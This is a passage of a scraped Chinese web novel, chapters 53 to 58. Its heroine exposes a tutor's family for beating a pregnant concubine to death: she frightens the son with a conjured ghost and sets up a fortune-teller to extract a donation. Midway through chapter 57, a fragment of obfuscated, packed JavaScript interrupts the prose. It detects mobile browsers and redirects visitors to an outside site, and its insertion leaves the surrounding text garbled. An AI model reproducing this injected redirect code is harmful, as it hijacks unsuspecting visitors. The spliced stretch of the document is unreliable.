“你是仵作,验尸结果如何,如实写就行。”安槐说:“至于合理与否,这个不是你的责任。” 有什么合理不合理的。 之前的两个女童尸体,都不合理。 祖文彬松了口气,连声应着。 只要安槐别说他妖言惑众就行。 验尸之后,安槐就明白了。 团子的母亲,是被虐待,被活活打死的。 打死她的凶手,在太子太傅府。 能让三个人毁尸灭迹,这个凶手是有一定身份的。 “黎四黎五,跟我走。”安槐说:“去太傅府里,帮我查查。” 安槐从永安侯府带来的不是丫鬟就是婆子,跟着出去逛街买衣服首饰还行,查案就不行了。 黎四黎五是靳朝言的贴身侍卫,现在拨给安槐用了。 他们是双生子,长得一模一样,就是相处了十几年的军中兄弟都不太分得清这两个人。 但神奇的很,安槐就是分的清。 在靳朝言将他们分给安槐的第一天,就见了一面,做了自我介绍的情况下,安槐就分的清,从来不交错。 两人应着,跟着安槐出了门。 裘府现在看似一片风平浪静,其实也不安稳。 昨天被安槐伤的中年男人是府里的管家,叫熊秋。 裘府的老人了,在府里上下一把抓,十分被主子信任。可以说在裘府,除了几个正头主子,就是不受宠的姨娘,不受重视的少爷小姐,都不敢得罪他。 他昨天,受到了人生最大的伤害。 眼珠子没了一颗。 第53章 折骨,似是故人来 熊秋带着两个伙计被九条一顿物理攻击加精神攻击,华丽丽的把三个人都给弄昏了。 然后安槐就走了。 还是两个伙计没受什么伤,昏了一会儿就醒了。 醒来一见熊秋一脸一身血差点吓死。 然后赶紧回府喊人,一边将人抬进去,一边喊大夫。 命是保住了。 但眼睛是保不住了。 虽然只坏了一只眼睛,但是大夫说,另一只眼睛八成也保不住,只是时间问题。 熊秋一边恨得咬牙切齿,一边也知道这事情不小。 他们醒来之后,女人没了,鸟没了,马车没了,尸体也没了。 这可是尸体。 就算太子太傅权倾朝野,也不能只手遮天。 这事情非同小可。 熊秋不顾自己的痛,赶紧让小厮去禀告二公子。 裘讷有两儿一女。 女儿是太子妃。 大儿子裘术已经成亲,娶的也是门当户对的京中贵女。 小儿子裘似就有点扯淡了。 裘讷在有了长子之后,又陆续有过三个儿子,可惜因为各种原因都没保住,然后有了裘似。 虽然不是正妻所生,但这孩子保住了,顺利生了下来。 之后,裘府妻妾再没有怀孕的。 因此裘似就成了裘府的小儿子,养在正妻名下,不争权不夺势地,就做一个富贵公子哥。 一家子都宠得很。 他十七岁成亲,如今二十二,已经有侍妾同房十余人,没名没分睡过的,更是不计其数。 但是社会对男人宽容,风流从不是罪,见了面,谁不奉承他一句,艳福不浅,魅力无边? 裘似匆匆过去。 一看熊秋这样子,惊了。 熊秋将今天的事情加油添醋的一说,裘似脸色阴沉的可怕。 “一个带着大鸟的女人?知道了,我会去查,敢管裘府的闲事,我看她是活得不耐烦了。” 裘似安慰了熊秋几句好好养伤,就带着手下走了。 皇城就这么大,带着只大鸟那么张扬的女子,不会难查。 此时,安槐正坐在裘府最近的一家茶楼包厢里。 二楼对着街的包厢,她正在等黎四黎五去裘府把消息查回来。 同一时间,裘似也进了茶楼。 这么巧的,进了隔壁的包厢。 安槐的听力极好,躺在三石坡的时候,又不能动,只能尽量将五感延伸散发出去,好听一听远方的八卦。 其中听力,是最好扩散的。 进了皇城后,人太多话太多,她才渐渐将扩散的五感又收了回来。 不然天天耳朵边鸡毛蒜皮,家长里短的都快要被吵死了。 这会儿闲得慌,她又开始一边嗑瓜子,一边听茶楼里的人闲扯。 于是就听见隔壁传来一个男人气急败坏的声音。 “见了鬼了,皇城里竟然有人敢在裘家门口将人掳走,是不想活了吗?敢在太岁头上动土,没打听过裘家是什么身份地位吗?” 安槐捏着瓜子的动作停了下来。 裘家,太子太傅那个裘家。 另一个男人的声音谄媚的说:“小少爷,您息怒,您息怒。这一定是个不知天高地厚的外乡人。等我们找到她,一定要好好教训她,让她跪在您面前……” 被称为裘小少爷的人突然笑了一声。 “听小厮说,那女人长得很美,到时候……” 接下来,是一段不堪入耳的言语。 安槐皱了眉头。 等他说完,身边人犹豫开口:“小少爷,那秦姨娘……她毕竟怀胎九月,即将生产。要我说,这次少夫人也确实心急了,何止于那么心急,非要将人打死才解气。这不是给您添麻烦吗……” “一个姨娘罢了。”裘似不在意说:“再说,她肚子里的孩子,也不一定是我的。” “啊?” 吓人似乎不解。 安槐也竖起了耳朵。 她大概听出点事情来。 团子的母亲是姓秦,是裘家小少爷的姨娘。 怀胎九月即将生产,被裘家小少爷的正妻打死了。 打死怀孕的妾室,这不是什么光彩的事情,太子太傅家更是不能有这样的丑闻,于是让府里下人悄悄解决了,毁尸灭迹。 谁想到呢,正好被安槐碰上了。 不过妾室秦姨娘的孩子怎么会不是裘似的,难道秦姨娘红杏出墙,给裘似戴了绿帽子? 安槐这么一想,觉得裘似还挺大度? 万万没想到,裘似接下来的话,简直毁三观。 裘似说:“算算日子,秦姨娘怀孕那日,招待客人去了。谁知道她肚子里的,是哪个野种。” 下人恍然。 “对对,小的怎么忘了这事情。不过秦姨娘的身段真是好,几位公子都赞不绝口呢。” 裘似哈哈一笑。 安槐听的瓜子都吃不下了。 娶妻纳妾也就罢了,用妾招待朋友,听着还不止一个。 等有了孩子,再嫌弃这孩子是个野种将人打杀。 “三百年啊,这世道还是这么恶心。” 安槐感慨了一声。 她摊开掌心,掌心出现了一片槐树叶。 然后从袖子里一摸,也不知道从哪里摸出一把剪刀。 安槐用剪刀在叶子上剪了几下,叶子被剪成了一个绿色小人。 能看见发髻,这是个女性。 安槐将叶子往空中一抛。 “去吧。” 那片叶子在空中转了几转,消失不见。 隔壁包厢,裘似正在说话,有人敲门。 他以为是伙计送酒过来,随口应了一声:“进来。” 门推开,进来的是个丫鬟。 低着头,看不见脸。 但是从身材上看,婀娜多姿。 裘似眼前一亮。 他伸手就抓住了丫鬟的胳膊。 “你是这店里的丫鬟?怎么从没见过……” 丫鬟低声说:“我是新来的。” 这声音怎么有点耳熟呢? 裘似对一个茶馆丫头,想做就做一点儿也不顾忌。 他伸手就去捏丫鬟的下巴,想抬起她的头来看一看。 丫鬟也不反抗,也不惊慌,顺从的抬起头来。 露出一张裘似熟悉的脸。 他愣了一下,然后发出一声惊叫。 “啊!” 这丫鬟的脸,竟然长的和秦姨娘一模一样。 可秦姨娘分明死了。 死的透透的,血将下身都浸湿了,是他亲眼所见。 裘似一瞬间脸色傻白,往后退了一步,嘴唇哆嗦的说不出话来。 第54章 折骨,见鬼 丫鬟咧嘴一笑。 一步一步的走了过来。 裘似一步步的后退。 “相公……你在怕什么?你别跑啊。”丫鬟的声音和秦姨娘一模一样,她一开口,嘴角渗出血来,一滴一滴的落在地板上。 裘似吓的腿软,差一点没站住。 “你别过来。” 裘似顾起勇气,从腰上抽出一把匕首,举在胸前。 但丫鬟一点都不害怕。 一步步就走到了面前。 “相公,你不喜欢我了吗?那你喜欢我肚子里的孩子吗?” 丫鬟握住了裘似的手。 冰凉的没有一点活人的温度。 丫鬟突然转头看向一旁的小厮:“是不是你没照顾好小少爷?” 四目相对。 啪嗒一声。 小厮连一句话都没说,就昏了过去,倒在地上。 亏心事做多了的人,总是废物一些。 丫鬟遗憾的又转会头来,继续温柔的看着裘似。 “相公,你摸摸,我们的孩子会动了……” 裘似手里虽然握着匕首,但身上一点力气都没有,更别提把匕首刺进去的勇气。 他只觉得秦姨娘握着他手腕的手像是铁钳一般,几乎将他的手腕折断。 就这么拽到了她的腹部。 刚才还扁扁的肚子,这会儿却高高鼓了起来。 裘似哆嗦着:“柔儿,柔儿是你吗?你要做什么?你……你不是死了吗?” “我是死了呀,可是我死的不甘心。我的孩子都九个月了……他说他想活。” 秦姨娘死死抓着裘似的手,一刀刺向自己的肚子。 匕首锋利。 裘似就这么眼睁睁的看着匕首化开了秦姨娘的肚子。 从上到下,划开了一个大大的口子。 一个婴孩从里面露脸出来。 那是张和他一模一样的脸。 定睛一看,却又变换了。 变成了九个月前,他曾经用秦姨娘招待的兄弟。 再看,又变了一张脸。 每一张脸都狰狞可怖。 那不是婴儿的脸。 那是地狱里的罗刹。 裘似终于忍耐到了极限,他狂叫了一声,用尽全身的力气,一下子甩开了秦姨娘的手,转身狂奔。 一边跑,一边喊。 “不是我杀了你,不是我杀了你……” 然后哐当一声。 裘似忘了,他现在可是在二楼的包厢里。 外面是个露台。 他直接就那么冲了出去,撞断了阳台的围栏,直直的摔下了楼。 此时外面正热闹,人来人往的。 从二楼突然摔下来一个人,虽然没砸到什么,但是也吓了大家一跳,有几个胆子小的,尖叫了起来。 然后就有人反应过来,喊道:“有人摔下来了,有人摔下来了。” 茶楼掌柜正在门口和人说话,吓的抖了一下。 一看,头都要大了。 这不是刚才上去的裘小少爷吗?怎么从二楼蹦下来了? 他赶紧过去。 也没听着楼上有什么吵闹的声音啊。 这要是摔坏了可怎么得了? 安槐就在隔壁阳台上往下看,别的她不担心,二楼这高度正常也摔不死人。 她主要是看着点,别让裘似砸到了路人就不好了。 还没等掌柜带着伙计跑到面前,裘似突然爬了起来。 真是一骨碌啊,一点儿也看不出来伤。 围观众人都松了口气。 看来没事儿。 掌柜也松了口气。 正要开口,裘似像是见了鬼一样的发疯往外跑去。 一边跑,一边喊。 “不是我杀的你,不是我杀的你,你别找我……” 大家都被他状似疯魔的样子吓了一跳,赶忙给他让出一条路来。 裘似的一条腿不知道受了什么伤,一瘸一拐的拖着,就这么跑了。 众人议论纷纷。 掌柜连忙一边让伙计跟上,自己带着人上楼去。 楼上莫非发生了什么事情? 有胆大好奇的路人,也跟了上去。 房间里只有一个躺在地上昏迷着的小厮。 那小厮茶楼掌柜也认识,是裘似常带在身边的。 掌柜胆颤心惊的上去探了一下,松了口气。 没死就好,有呼吸。 然后他拿起桌上已经冷了的茶水,哗啦一下倒在小厮脸上。 小厮一个激灵,醒了过来。 醒过来的第一反应就是闭着眼睛喊:“鬼啊,有鬼啊……” “别喊了。” 掌柜的说:“瞎喊什么呢,你睁开眼睛看看,青天白日哪来的鬼?” 但小厮听不见,捂着眼睛喊。 掌柜气死了。 伸手给了他一巴掌。 啪的一声。 裘似他不敢打,一个小厮还不敢打吗? 哪儿来的鬼,他这是做生意的地方,这人在这胡言乱语大喊大叫,以后谁还敢来他们家喝茶? 小厮被打了一巴掌,终于缓缓清醒过来。 他看清楚眼前一幕,那么多活生生的人,女鬼也不在,总算是松了一口气。 然后突然想起来:“少爷呢,我家少爷呢?” “你家少爷回府了。”掌柜说:“到底怎么回事?疯疯癫癫在喊什么呢?” 小厮还没说话呢,一个围观老百姓说。 “哎,我认识你,你是裘府的小厮,对吧?刚才跑掉那个,是你家小少爷?” 小厮点头。 高门大户的小厮,在外面也洋洋得意呢。 可人群中有人嗤笑一声。 “看来是亏心事做多了才见鬼的,你跟你主子,是不是害人了?” 裘似欺男霸女也不是一天两天了。 特别是好色这毛病,在外面看见有姿色好的女子,就忍不住要上去勾搭一番。 有想要攀上太子太傅的人家,也有不想的。 虽然因为家里压制,裘似不敢太过分,但暗搓搓的做了不少阴私见不得光的事情。 纸是包不住火的,就算一把火能包住,两把三把四把,总会叫人知道一些。 因此这裘似的名声,真的不行。 只不过大家畏惧太子太傅和太子,敢怒不敢言罢了。 小厮一听裘似走了,也顾不上许多了,爬起来推开人群,也赶紧跑了。 下楼的时候还摔了一跤,差一点滚下楼去。 掌柜一见,只觉得晦气。 他一想,对众人拱了拱手。 “诸位,我请求大家给我做个见证,今日裘小少爷在我店里,也不知道发生了什么,可与我的店没有关系。我这店里,光明正大,人来人往,哪里有什么女鬼?” 一边说着,掌柜一边让伙计去报官。 不知道裘家会不会报官,但是不管怎么样,他先去官府报备一下准没错。 众人一听,纷纷应和。 “掌柜你放心,要是官府来了,我们都给你作证。这房间干净的很,肯定是有人心里有鬼。” 掌柜很高兴,送了大家一人一份点心。 能在这繁华闹市开茶楼的,背后都有人,所以掌柜也不害怕裘家没事儿找事儿冤枉自己。 只要该怎么办就怎么办就好。 第55章 折骨,趁他病,要他命 众人看了热闹,又得了点心,都兴致盎然。 一边议论纷纷,一边慢慢散去。 安槐就在隔壁,自然也出来看了热闹。 看完之后,还对掌柜说:“掌柜,刚才我就在隔壁包厢,这边的动静我听的清楚。没听见有人进包厢,只听见里面两个男人在喊有鬼有鬼,然后其中一个就摔下去了。没有人推他,他是自己掉下去的。如果官府责问起来,我也能给你作证。” 安槐只是想戏弄一下裘似,当然不会连累无故的掌柜。 这哑巴亏,裘家吃也得吃,不吃也得吃。 如果不找茶楼麻烦自然最好,要是找,她也会出手的。 掌柜一听十分高兴,感激再三。 然后一挥手,要免得了安槐的茶钱。 安槐笑了笑,还是坚持给了。 掌柜一见,便又多送了一盒点心。 有一种,放眼望去皆好人,只有裘家是个渣的感觉。 此时,在楼下的角落,静静躺着一片破碎的叶子,谁也不会在意。 这边热闹刚散了没一会儿,安槐派出去的人回来了一个。 “黎四,怎么样,查到了什么?” 黎四很奇怪。 “娘娘,您怎么看出我是黎四?属下实在是想不通。” 安槐一笑。 “你们俩不一样。” 脸虽然是一样的脸,可灵魂是不一样的。 不管多好的易容术,也不可能糊弄住安槐。 黎四百思不得其解。 “娘娘,裘家出事儿了。刚才裘似连滚带爬的进了府,口中还喊着有鬼,你不是我杀的,胡言乱语一般……他进了府就摔倒了,我在外面听着,似乎是腿断了,现在府里乱成一团呢。” 黎四说完,见安槐竟然没有露出好奇的表情,更奇怪了。 娘娘这么冷静的吗? 安槐还有更冷静的,她问黎四:“知道裘似的腿怎么断的吗?” 黎四摇头。 “属下怕娘娘等急了,先回来禀告,黎五还在裘府打探。” 安槐说:“你去隔壁看看。” 黎四过去看了一眼,回来以后,那表情相当奇怪。 “裘似的腿就是这么断的,刚才好多人都看见了。”安槐好心解惑:“他从二楼跳了下去,啪一声,腿就断了。” 黎四目瞪口呆。 “他……他为什么要从二楼跳下去?” “那我就不知道,我又不认识他,我也不在他包厢里。不过听着他跳下去的时候还在大喊大叫,说自己是见了鬼之类的。” 安槐往外一指。 “不只是我,很多人都看见了。店里的掌柜伙计都看见了。” 黎四的脑子都要转不动了。 真奇怪啊。 “娘娘,属下再去裘府看看。” “去吧,我去前面河边转转,你们探听完了,去河边找我。” “是。” 河边,有好些小摊位。 卖小玩意儿的,卖小吃的,替人写书信的,占卜算命的。 安槐过去转了一圈,挑了个算命的。 这算命的摊位上挑着个卦幡。 卦幡正面写着,神机妙算,反面写着铁口直断。 摊位后面是个五十来岁干瘦干瘦的男人,须发花白,眼神看似浑浊,气势精光内敛。 他穿着灰色旧布长衫,头上戴着块旧布巾。 看见安槐过来,王半仙一模山羊胡子,就要说话。 “哎。” 安槐抢先开口:“王大师,我给你算一卦如何?” 王半仙一愣。 他在这摆了十年摊,都是来找他算命的,还从没有帮他算命的。 “客人,您这是什么意思?” 安槐说:“王大师,我掐指一算,你最近缺钱。” 王半仙的表情僵硬了。 谁不缺钱? 这小娘子不是来算命的,是来扎心的吧? 安槐又掐指一算。 “你最近缺钱和以前不同,最近非常缺,而且,是非常重要的事情缺钱。” 王半仙脸更黑了。 他四下看了一下,想着找个什么棍儿把安槐赶走。 但安槐接着说:“我还算出来,你这两天能发大财。” 王半仙找棍子的动作停了一下。 他狐疑道:“我去哪儿发大财?” 医者不自医,算命的也算不到自己的财运。 安槐说:“裘家。” “裘家?”王半仙脑子没转过来:“哪个裘家?” “太子太傅的裘家。” 王半仙一听连连摆手:“那可不是个好去处,他们家的财我可不敢要。” 安槐笑了一下。 “你别急,你先听我说。” “你说说看。” 安槐说:“裘家最近遇上了事情,要破财消灾。你去糊弄他们,让他们拿钱出来做善事。让他们拿二十万两银子出来捐给善堂就能消灾。” 王半仙一听是做善事,倒是没有那么排斥了。 他不是坑蒙拐骗的半仙,安槐之所以找上他,就是因为一眼看去,知道他是有真本事的。 “可是……”王半仙疑惑:“我怎么发财?” “你找他要卦钱啊。”安槐说:“二十万银子是做好事的,卦钱怎么不要万儿八千。等银子拿到手,你就回老家,山水迢迢,裘家找不到你的。” 裘家的气运已经出现了大问题,短时间就会江河日下。 不会再有精力去找谁算账。 黎四黎五赶来的时候,就看见安槐在算命摊子上,跟算命先生说话。 两人也不知道谈的什么,说的十分认真。 两人走过来,安槐刚好跟王半仙聊完。 看的出来,两人都十分满意。 既坑了裘府,又弄了二十万两做善事,还让王半仙可以弄一笔钱解决自己的困境。 王半仙摸着胡子,摇头晃脑。 “小娘子是大善人,大善人啊。” “不敢不敢。”安槐说:“王大师才是真大师,真半仙。” 两人好一番互相吹捧,只听的黎四黎五都不知道该说什么。 回府的路上,黎四黎五一人一句把裘府现在的情况说清楚了。 一团混乱。 裘似回家倒下,家里一看,才发现他腿断了。 这还得了。 赶紧请大夫。 一边请大夫,一边问裘似发生了什么事情,可是裘似完全不顾自己腿还是断的,爬起来就往内宅冲。 他妻子听见消息赶忙出来查看,结果两人刚见面,没说话呢,裘似就冲了过去。 黎四啧啧称奇:“要不是人多拽开了,裘似差点把他妻子给掐死了。一边掐,一边说,你这个毒妇……” 第56章 折骨,助兴 蛇鼠一窝才是常态,出淤泥不染的毕竟是少数。 裘家如此,家中能有几个良善之辈。 这样的家里,也容不下正直良善之辈。 要说区别,不过是他们在行凶的时候,将目标对准谁罢了。 裘似的目标是没有反抗能力的柔弱女子,裘似妻子不敢反抗丈夫,不敢反对丈夫左拥右抱,朝三暮四,她的目标就是那些被裘似欺辱过的,又不再新鲜的受害者。 这种事情屡见不鲜,最典型的话就是,肯定是你勾引了少爷。 “裘似疯疯癫癫的,现在被裘夫人派人捆了起来,绑在床上。他妻子也被关在了房间里。裘太傅不在府里,裘家大少爷也不在,府里没有能管事儿的人。不过已经有好几个小厮出去找人了,应该很快就会回来。” 安槐听的很满意。 “行,暂时不用管,让他们家闹去。” 茶馆老板已经报官了,官府可不敢怠慢裘家,很快就会上门询问。 到时候,就看裘家会怎么说了。 安槐回了三皇子府,一问,靳朝言也刚回来。 靳朝言还不知道裘家发生了这么多热闹的事情,但他看安槐神采飞扬的样子,就觉得有事发生。 “夫人这是……在路上捡到钱了?” 也亏他是个会问话的。 “比捡到钱还有意思。”安槐也是个会回答的:“捡到一个大热闹。” 当下,安槐噼里啪啦把今天的事情一说。 靳朝言听的心情十分复杂。 他挥了挥手,让手下都退下。 房间里就只剩下他和安槐两个人了。 安槐眨了眨眼:“殿下,还是大白天呢,你想干嘛?” 白天也不是不行,但是,这不是大家都在忙着吗? “明知故问。”靳朝言丝毫不被转移话题:“你说我想问什么?” 安槐装傻:“不知道呀。” 靳朝言坐近一点。 “今天裘似跳楼,跟你有关系吗?” 安槐一听立刻举起手来。 “天地良心,一点儿关系都没有。但是我确实看着挺开心的,当然不止我一个人开心,路过的人看着都挺开心的。这裘似的名声可真不好,看见他摔断了腿,都有人笑出声了。” 靳朝言总觉得安槐没说真话。 “没骗我?” “没有,绝对没有。” 安槐一点儿都不心虚。 该骗的时候还是要骗,让靳朝言觉得自己是个会点风水玄学的风水先生弟子就行,可千万不能让他觉得自己有妖术。 安槐死不承认,靳朝言也没有证据。 只好略过这个话题。 靳朝言正经说起了正事。 “关于极乐散,我查出了一些情况。这种要最开始是用来止痛的,无论再严重的伤,只要服下极乐散,就会疼痛消失,产生幻觉,欲仙欲死。” “他的副作用很大,达官贵人是不会用的,享受一时快乐,用性命相抵,他们没有那么蠢。” “但是他们又觉得,这种药是有用的。” “最先用上的地方,是青楼。” “当然也只是个别,毕竟是见不得光的东西。” 安槐也就是顺口那么一问。 “极乐散在青楼能做什么?” 这一问,靳朝言突然有点尴尬了。 他斟酌了一下,说:“助兴。” 安槐愣了一下,突然反应过来。 “哦哦哦,助兴,我知道了,助兴。” 靳朝言掩饰的磕了一声:“你真的知道啦?” 安槐敷衍的点头。 “就,就是助兴嘛,我知道。” 她现在也是成过亲的人了,有些闺中女儿不知道的事情,她可以知道了。 当然以前她也知道,但是还得装一装不是。 靳朝言见不用细细跟安槐说这个,也松了口气。 “青楼也有清倌人,有不愿意卖身,却又偏偏被看中的。老鸨就给她们服下此药。还有一些,客人有特殊癖好,姑娘苦不堪言不乐意接客的,老鸨为了赚钱不择手段,也会给服下此药。” 靳朝言说着,一副十分厌恶的表情。 男欢女爱本是你情我愿的事情,情到深处才能鱼水之欢,尽兴而归。 勉强有什么意思? 这药只要服上一两回,就会不停的想。 服下之后,会做出许多惊世骇俗的事情来,也感觉不到身体的痛,可以供人尽情享乐了。 那些被灌下药的姑娘,基本上就废了。 几乎都得是凄惨数日,然后凄惨死去。 靳朝言说:“极乐散是禁药,青楼老鸨心里总归是害怕,这事情有过那么几回,死了几个姑娘之后,就不敢再做了,所以没有闹出来。” 安槐一想。 “这次蹊跷死的几个人,该不会是当年欺负了青楼姑娘的人,现在那些姑娘回来报仇了吧?” 要是以前,靳朝言一定会毫不犹豫的反驳。 朗朗乾坤,哪有鬼杀人。 但现在他也不敢说什么了。 团子那么大个活人还在府里住着呢。 很难评价他是什么。 靳朝言说:“此事还要再查,当年的事情太过隐秘,知情者很少。” “那这些消息是哪里来的?” “有一家醉月楼,是韦升荣当年常去的地方。可是当年的老鸨已经病死,如今新老板也不知旧事。楼里的姑娘也只是略听了一些,都是风言风语道听途说,虽是线索,但也不能做准。” 现在,一定要找个当事人才行。 安槐说:“我知道哪里有当事人。” “哪里?” “裘家。” 靳朝言皱眉:“裘家的谁?” 靳朝言是不怕裘太傅的,但是查太傅府和查青楼总不是一回事。 还是要慎重一些,不能用猜的。 “暂时不知道是谁。”安槐说:“但是我今天已经算出,和薛云烟生辰互补的这个人,就在太子太傅府内。” “能算出来,具体是哪个人吗?” “可以,但最好离的近一点。” “这好办。”靳朝言说:“我带你去一趟?” 靳朝言可真是个实在人。 “别别别。”安槐说:“裘家最近有大热闹要发生,咱们别上赶着着给自己惹麻烦。你再等等,说不定等明天,不用咱们去,他们也要乱了。” 裘家那一窝豺狼。 怎么能让裘似一个人见鬼呢? 一家人,就要整整齐齐。 第57章 折骨,晚上的奖励 安槐看热闹不嫌事大,嫌水花小还要再加一把火。 裘讷风风火火地回到家。 他也是一把年纪了,但仕途家庭双得意,看起来精神得很。 还从没见家里那么乱过。 “怎么回事?”裘讷匆匆忙忙进屋,就看见小儿子躺在床上,一脸恐惧。 裘夫人在一旁握着儿子的手,哭哭啼啼,一脸眼泪。 丫鬟小厮大夫都站在旁边,一脸惊恐不敢说话。 “这是怎么回事?”裘讷沉着脸。 裘夫人已经在跟着裘似的小厮嘴里,知道了今天发生的事情。 “老爷,不得了了,现在外面的人,是真不把我们裘家放在眼里了。” 当下,她就把今天的事情说了一遍。 一脸又是心疼,又是怒火冲天。 “老爷,这定是茶楼里有谁看咱们家不顺眼,才报复在似儿身上。” “老爷,你一定要给似儿做主,将凶手绳之以法。” 裘讷一听,皱眉道:“你说的是云客茶楼?没事儿去招惹他家什么?难道你不知道云客茶楼的掌柜和宫里的赵贵妃有关系吗?” 裘夫人一听,顿了一下。 “难道咱们怕赵贵妃?” “不是怕赵贵妃。”裘讷嫌弃地看一眼夫人:“赵家和咱们在朝堂上并无矛盾,他也不会针对咱们家。退一步说,就算他要对付我,也不会对付老小,更不会在自己的地盘,那不是明晃晃的树敌吗?” 裘夫人一听,也是这个理。 “你也一把年纪了,怎么遇事还慌慌张张,一点儿当家主母的样子都没有。” 裘讷毕竟是太子太傅,就算遇到再大的事情也沉的下心。 “把跟着似儿的下人叫来,我问问。” 小厮因为胡言乱语,也被关在柴房里了。 裘讷亲自问了一遍。 问完,皱着眉头。 小厮赌咒发誓,自己没有半个字的假话。 裘讷又去问了一边自己儿子。 裘似跟小厮说的一样。 裘讷陷入了沉默。 “此事有些古怪。” 秦夫人着急:“老爷,你不会真信似儿是碰见什么不干净的东西了吧?” 裘讷摆了摆手,不知道在想什么。 “不干净的东西未必是鬼,也可能是人。” 裘讷说:“不过这事情倒是给了我们一个警醒,似儿这些日子是有些荒唐了。他媳妇也荒唐,竟然如此善妒。你得好好管管。若是长此以往,怕是真会连闯下大祸来。” 裘夫人对自己丈夫还是敬重的,虽然在心里难免还是为儿子找借口,但也应了。 “我出去一趟,你在家好好安抚似儿,给他开点安神汤药,好好休息。儿媳妇那边……也不要苛刻。这事情若是闹出来,我们家也不占理,亲家那边总归是要交代的。” 就夫人憋屈,但也不敢说什么。 裘讷匆匆出了门,没注意有人跟了上去。 半个时辰后,靳朝言接到手下来报。 “裘太傅回府了解情况之后,去了太子府。太子府里暗卫众多,怕被发现,属下没敢跟进去。” “去了太子府?” 安槐在一边凑过来:“有猫腻啊。” 靳朝言饶有兴趣:“怎么说,你一个庄子里的姑娘,还对太子府有了解?” “那倒是没有,不过这不用对太子府有了解,就看裘太傅急匆匆去太子府的行为就知道了。他是太子太傅,也是一品高官,如果只是儿子闯了祸,自己就解决了,为什么要去太子府呢?” 只有两种可能。 第一,事儿大。 第二,牵扯到了太子。 而且,不是二选一,是二选二。 裘似的事儿,让裘讷想到了一件和太子相关的大事儿,所以急冲冲地跑了。 靳朝言赞许地看着安槐。 “是个聪明的姑娘。” “殿下可别只口头上夸。”安槐笑意盈盈看着靳朝言:“我这么聪明,殿下有什么奖励给我吗?” 不懂就问,懂了就要。 靳朝言说:“库房钥匙都给你了,本王还有什么能给你的?” 安槐四下一看。 丫鬟侍卫都在门外。 她飞快地摸了靳朝言的脸一把。 “晚上再说。” 然后安槐就走了。 靳朝言万万没想到,新进门的皇子妃竟然敢调戏自己。 这胆子也太大了吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424626|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>他顿时想到了新婚夜那一场颠倒乾坤的梦。 似幻似真。 妙不可言。 食髓知味。 他看似镇定,脸却一点一点地红了。 靳朝言拿起茶杯喝了一口,冰冷的茶水让心里的火热凉下去一些。 今晚,他可要清醒点。 不能糊里糊涂的就这么让安槐睡了。 ***** 裘讷匆匆进了太子府,可太子不在。 他问了下人,说是进宫去了,可能要用了晚饭才回来。 裘讷再着急也没了办法,只能留下口信,让太子一回来,速去通知他。 然后就走了。 裘讷是坐马车出门的。 马车走到半路,走不动了。 随从过去一看。 是两个人在吵架。 一个中年妇女牵着个孩子,一个算命的中年男人,手里还拿着卦幡。 上面写着,王半仙。 王半仙一脸苦涩:“这位婶子,我真的没有撞到你家孩子。你叫我赔钱,这不合理啊。” 婶子十分霸道。 “我不管,就是你撞的,你看孩子给吓得脸色都变了,我跟你说,今天不陪我五两银子,你别想走。” 王半仙一个头两个大。 有种秀才遇到兵,有理说不清的感觉。 周围的人议论纷纷,众说不一。 有说孩子看着一点儿事儿都没有,怎么就要五两银子,这不是抢钱吗? 有说看孩子脸色确实不好,说不定真吓着了,谁也不会拿自己孩子开玩笑。 一时之间,僵持不下。 围观的人越来越多。 马车彻底走不动了。 随从过来回报情况,大致说了一下。 裘讷一听,是这点破事儿也值得堵着路。 他吩咐随从,给那大婶五两银子带孩子去买点好吃的哄一哄,大家散了,别在路上堵着,影响不好。 随从去了。 大婶一听,连声感谢。 裘讷能坐到这个位置,人情世故那是一点儿不缺。 用小恩小惠收买民心的事情,他十分懂得。 众人渐渐散开。 王半仙看着裘讷的马车缓缓从面前驶过,走了过去。 第58章 折骨,阴债缠身运不同 车边的随从一看王大仙,是刚才被拉着要赔钱的算命先生。 估计是来感谢自己的吧。 裘讷也没当回事。 他不信这些。 人到了他这个高度,有些事情就不能信。 要是什么都信,很多事情就没法做,做了也睡不着觉。 王半仙说:“多谢裘大人相助。” 这种人裘讷见多了,自己没搭话,随从客气说:“大师不必客气,只是举手之劳,不必放在心上。” 瞅瞅这待人处事的态度,要是裘似有这脑子,也不至于风评那么差。 王半仙语气深沉说:“刚才裘大人祝我脱困,我替大人算了一卦,得知大人府上近日不太平。我送裘大人一句话,破财消灾,行善可解妖邪。” 裘讷听的一愣。 随从心里咯噔一声,转身去看裘讷。 裘讷心中震惊,但面上不显,只是简单说:“多谢。” 他位极人臣,这种看着就是坑蒙拐卖的算命先生,自然入不了他的眼。 但是他一眼看出自己府上不太平,倒是稀奇。 王半仙点了点头,走了。 一边走,还一边唱着。 “阴债缠身运不同,作恶多端路路穷。” “舍财积善解冤业,回头是岸免灾凶。” “若还吝啬不肯舍,霉运当头万事空。” “呀,万事空!” 边说边唱,走远了。 裘讷面色阴沉:“去,给我查查这个王半仙到底是什么来路,他和这次似儿的事是否有关联,是否有人在背后动手脚。” 手下领命去了。 裘讷可不信鬼神,不信巧合。 王半仙来得那么巧,难道是受人指使? 裘讷回了府。 很快,宫里的太医也到了。 裘讷亲自去迎,迎到之后,就让左右退下。 宋太医一见裘讷这么紧张的颜值,也紧张起来。 “裘太傅,这么着急找下官员,是有何事?” 裘讷低声说:“小儿今日在酒楼突然看见女鬼,受了惊吓从二楼摔下,摔断了腿,还请你来给他看看。” 宋太医一听。 不对。 断腿这等小事,何须他亲自上门? 再说,骨科也不是太擅长的。 等下,看见女鬼是什么? 宋太医的表情突然变了。 他猛的反应过来。 “裘大人,您是说……” 裘讷沉着脸点了点头。 光天化日哪来女鬼,何况当时在外面那么多人,怎么可能有鬼魅近身,我怕似儿又碰了什么不该碰的东西。 “好,我知道了。” 宋太医匆匆去给裘似诊脉。 然后对裘讷摇了摇头。 没有问题。 裘讷一见,也不知道该松一口气,还是更担心了。 又让宋太医给跟着裘似的小厮也诊了脉。 自然也是没有问题的。 裘讷更纠结了。 裘似受了不小的刺激,这会儿冷静下来一些,赌咒发誓。 